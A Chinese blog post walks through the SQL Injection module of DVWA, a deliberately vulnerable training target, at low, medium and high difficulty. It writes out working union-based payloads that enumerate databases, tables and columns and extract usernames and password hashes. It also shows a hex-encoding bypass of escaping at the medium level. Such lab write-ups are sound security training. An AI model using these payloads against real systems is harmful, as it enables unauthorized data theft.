DVWA-SQL注入(SQL Injection)低/中/高级别

简介: DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤

DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤


SQL Injection-low级别

SQL注入的low级别需要我们输入用户的ID作为参数,后端的SQL语句根据用户ID查询用户的信息并返回,执行SQL之前并没有过滤,源码如下


image.png

我们输入一个正确的用户ID : 1 , 发现输入的参数拼接到了url地址栏中,由此推断,此关卡使用的请求方式为GET请求,我们直接在输入框中构造payload即可,查询到的用户信息回显到了页面中,可以尝试联合注入


image.png


接下来测试注入点,输入 1' and true # 使SQL恒成立,页面正常显示了查询到的用户数据,再输入 1' and false # 使SQL恒不成立,页面空显示,即没有查到用户的数据,由此推断出用户输入的参数会影响SQL的语法结构,从而影响SQL的执行结果,即存在SQL注入,并且注入点为单引号字符型注入


image.png

确认注入点以后,我们使用联合注入构造payload,获取所有数据库

-1' union select 1,(select group_concat(schema_name) 
from information_schema.schemata) #

image.png

获取所有表

1. -1' union select 1,(select group_concat(table_name) 
2. from information_schema.tables 
3. where table_schema='dvwa') #

image.png

获取所有字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

image.png

获取数据

-1' union select 1,(select group_concat(user,password) from dvwa.users) #

image.png

SQL Injection-medium中级别

medium级别使用下拉框提交数据,请求方式为POST请求,需要抓包来修改提交的参数


根据输入的用户ID查询用户信息并在页面中回显,有显示位,可以使用联合注入


执行SQL之前,使用mysqli_real_escape_string()函数转译了特殊字符,可以使用Hex()编译绕过,源码如下

image.png

使用抓包软件拦截POST请求,修改参数,使用联合注入构造payload,获取所有数据库

1. -1 union select 1,(select group_concat(schema_name) 
2. from information_schema.schemata) -- a

image.png

使用MySQL的Hex函数编译需要查询的表名,并在结果前面加上0x,从而绕过特殊字符转译,获取表

mysql> select Hex('dvwa');

image.png

-1 union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema=0x64767761) -- a

image.png

SQL Injection-hign高级别

hign级别将参数保存到session中,在输入框直接构造payload即可


后端代码从session中获取用户输入的参数,并根据用户ID获取用户信息并回显到页面中,有回显,可以使用联合注入,并且执行SQL之前没有对用户输入的参数进行过滤,源码如下

image.png

获取数据库

1. -1' union select 1,(select group_concat(schema_name) 
2. from information_schema.schemata) #

image.png

获取表

1. -1' union select 1,(select group_concat(table_name) 
2. from information_schema.tables 
3. where table_schema='dvwa') #

image.png

获取字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

image.png

相关文章
|
1天前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
21 0
|
1天前
|
SQL 关系型数据库 MySQL
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
0基础学习SQL注入之万能账号密码(BUUctf例题-[极客大挑战 2019]EasySQL1)
|
1天前
|
SQL NoSQL 关系型数据库
一个基于 BigQuery 的 SQL 注入挖掘案例
一个基于 BigQuery 的 SQL 注入挖掘案例
8 0
|
1天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
24 0
|
1天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
1天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
25 0
|
1天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
1天前
|
SQL 存储 安全
|
1天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
1天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
http://www.vxiaotou.com